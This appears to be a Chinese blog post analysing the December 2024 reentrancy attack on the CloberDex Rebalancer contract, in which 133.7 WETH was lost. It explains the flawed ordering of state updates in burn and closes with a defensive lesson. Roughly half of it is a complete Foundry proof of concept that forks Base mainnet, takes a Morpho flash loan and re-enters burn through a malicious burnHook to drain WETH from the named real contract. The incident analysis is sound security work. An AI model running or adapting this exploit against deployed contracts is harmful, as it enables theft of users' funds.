基础信息2024.12.10日CloberDex合约遭受重入攻击导致损失133.7个WETH。我对此攻击进行了分析,深入代码查看漏洞根源,梳理攻击流程,并基于foundry完成了一份PoC。本次攻击的根因:未检测用户输入+重入漏洞。
2024.12.10日CloberDex合约遭受重入攻击导致损失133.7个WETH。我对此攻击进行了分析,深入代码查看漏洞根源,梳理攻击流程,并基于foundry完成了一份PoC。 本次攻击的根因:未检测用户输入+重入漏洞。 攻击交易: https://app.blocksec.com/explorer/tx/base/0x8fcdfcded45100437ff94801090355f2f689941dca75de9a702e01670f361c04 被害合约地址: 0x6a0b87d6b74f7d5c92722f6a11714dbeda9f3895 首次纰漏的twitter: https://x.com/CertiKAlert/status/1866425599541080338
虽然网上对于rebalancer的介绍非常少,至少我自己没发现他的官方网站或者详细一点的项目介绍。所以我只能从代码中通过主要对外开放的合约方法对该项目有一个大概的了解。 代码中可以被外部调用且非view的方法只有四个:
open方法可以直接被外部用户调用,通过合约间层层调用,最终会到达_open函数,在252行可以看到,用户传入的 参数strategy最终会被保存在池子参数里。
在burn方法的277行可以发现,这里最终调用了open函数中用户传入的strategy地址合约的burnhook方法,由于这个合约是用户控制,那么burnhook方法可以植入恶意代码。在本次攻击里,用户在burnhook逻辑中重新进入burn方法,拿到了更多的底层资产(WETH)。
黑客在攻击前首先部署了一个币(称它为A币好了):0xd3c8d0cd07ade92df2d88752d36b80498ca12788,然后闪电贷267.4个WETH,在rebalancer创建了A币和WETH的交易池。WETH为基础货币(base),A币为报价货币(quote) 开通池子后,黑客把借到的所有WETH和自己发行的A币都投入到池子铸造出267.4个LP Token。 然后黑客调用burn函数试图销毁一半(133.7)的LP Token。让我们具体看一下Burn函数是如果工作的: 在burn中通过上述分析的代码最终调用了黑客的burnHook方法,在BurnHook方法中,黑客再次调用rebalancer的burn方法。
为什么第一次进入后,第二次进入前,合约还认为总体资金量(total reserve)是267.4个,LP Token总发行量(total supply)是133.7个了?让我们再回到burn代码: 修改LP Token总供应量total supply的代码(276行)发生在重入之前,修改总体资金量total reserve的代码(282-283行)发生在重入之后,所以第二次进入的时候,合约还没来得及修改自己总体资金量total reserve,但是已经修改了总供应量total supply。所以黑客第二次仅持有133.7个LP Token被误认为持有所有WETH和A币的“股权”。 总体算下来,黑客赚到了133.7个WETH。
通过foundry在本地模拟黑客攻击,确实可以盈利133个WETH,美滋滋。
//这个是攻击代码
// SPDX-License-Identifier: UNLICENSED
//forge test --match-path test/rebalancer.t.sol -vvv --evm-version cancun
pragma solidity ^0.8.25;
import "lib/forge-std/src/Test.sol";
import "./ERC20.sol";
import "./interface.rebalancer.sol";
contract rebalancerTest is Test,ERC20(100000){
address weth = 0x4200000000000000000000000000000000000006;
address morphoBlue=0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
address rebalancer =0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895;
uint256 amountToHack=0;
uint256 rebalancerWETH=0;
bool reEntry =false;
function setUp() external {
vm.createSelectFork( "https://developer-access-mainnet.base.org", 23514451 - 1);
deal(address(this), 1e18);
}
function testAttack() external{
//攻击前账户余额
console.log("before Attacking, I have WETH: ",IERC20(weth).balanceOf(address(this))/10**18);
//1. 闪电贷
rebalancerWETH=IERC20(weth).balanceOf(rebalancer);
rebalancerWETH=(rebalancerWETH/10**18)*10**18;
amountToHack = rebalancerWETH*2;
Morpho(morphoBlue).flashLoan(weth,amountToHack,"0");
//攻击后账户余额
console.log("after Attacking, I have WETH: ",IERC20(weth).balanceOf(address(this))/10**18);
}
function onMorphoFlashLoan(uint256 amount, bytes calldata data ) external{
//1. 创建一个交易对池子(open)
IHooks hooksA =IHooks(address(0x0000000000000000000000000000000000000000));
IRebalancer.Currency baseCurrencyA = IRebalancer.Currency.wrap(weth);
IRebalancer.Currency quoteA = IRebalancer.Currency.wrap(address(this));
IRebalancer.FeePolicy makerPolicyA = IRebalancer.FeePolicy.wrap(uint24(888608));
IRebalancer.BookKey memory bookKeyA = IRebalancer.BookKey({base: baseCurrencyA, unitSize: 1, quote: quoteA, makerPolicy: makerPolicyA, hooks: hooksA, takerPolicy: makerPolicyA});
IRebalancer.BookKey memory bookKeyB = IRebalancer.BookKey({base: quoteA, unitSize: 1, quote: baseCurrencyA, makerPolicy: makerPolicyA, hooks: hooksA, takerPolicy: makerPolicyA});
bytes32 poolKey=IRebalancer(rebalancer).open(bookKeyA,bookKeyB,"1",address(this));
//2. 交易对池子中添加流动性 approve这两个币
this.approve(rebalancer,type(uint256).max);
IERC20(weth).approve(rebalancer,amountToHack);
//3. 因为添加了流动性,所以mint会通过
IRebalancer(rebalancer).mint(poolKey,amountToHack,amountToHack,0);
//4. burn刚才获得的LP token
IRebalancer(rebalancer).burn(poolKey,rebalancerWETH,0,0);
//5.还闪电贷
IERC20(weth).approve(morphoBlue,amount);
}
function burnHook(address receiver, bytes32 key, uint256 burnAmount, uint256 lastTotalSupply ) external{
if(reEntry == false){
reEntry=true;
IRebalancer(rebalancer).burn(key,rebalancerWETH,0,0);
}
}
function mintHook(address receiver,bytes32 key, uint256 amount,uint256 amount2) external{}
}
// SPDX-License-Identifier: MIT
//这个是简单实现的erc20.
pragma solidity ^0.8.0;
import "lib/forge-std/src/Test.sol";
contract ERC20 is Test {
string public name = "SimpleToken";
string public symbol = "SIM";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 _initialSupply) {
totalSupply = _initialSupply * (10 ** uint256(decimals));
balances[0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
//require(balances[msg.sender] >= amount, "Insufficient balance");
//_transfer(msg.sender, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(to != address(0), "Transfer to zero address");
balances[from] -= amount;
balances[to] += amount;
emit Transfer(from, to, amount);
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "Approve from zero address");
require(spender != address(0), "Approve to zero address");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view returns (uint256) {
return allowances[owner][spender];
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
require(allowances[from][msg.sender] >= amount, "Allowance exceeded");
require(balances[from] >= amount, "Insufficient balance");
_transfer(from, to, amount);
_approve(from, msg.sender, allowances[from][msg.sender] - amount);
return true;
}
}
大家都知道,防止重入一个有效方式是“先记账,后转账”。这个合约代码逻辑是“先记一部分账,然后调用了一个存在风险的合约策略,再记一部分帐,最后转账”。可能很多开发同学只是死记硬背“先记账,后转账”的道理,为什么这么做却不甚了解,导致真正实践的时候并不能从根源上避免重入。 我觉得以后记账的全部操作越早完成全部越好。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!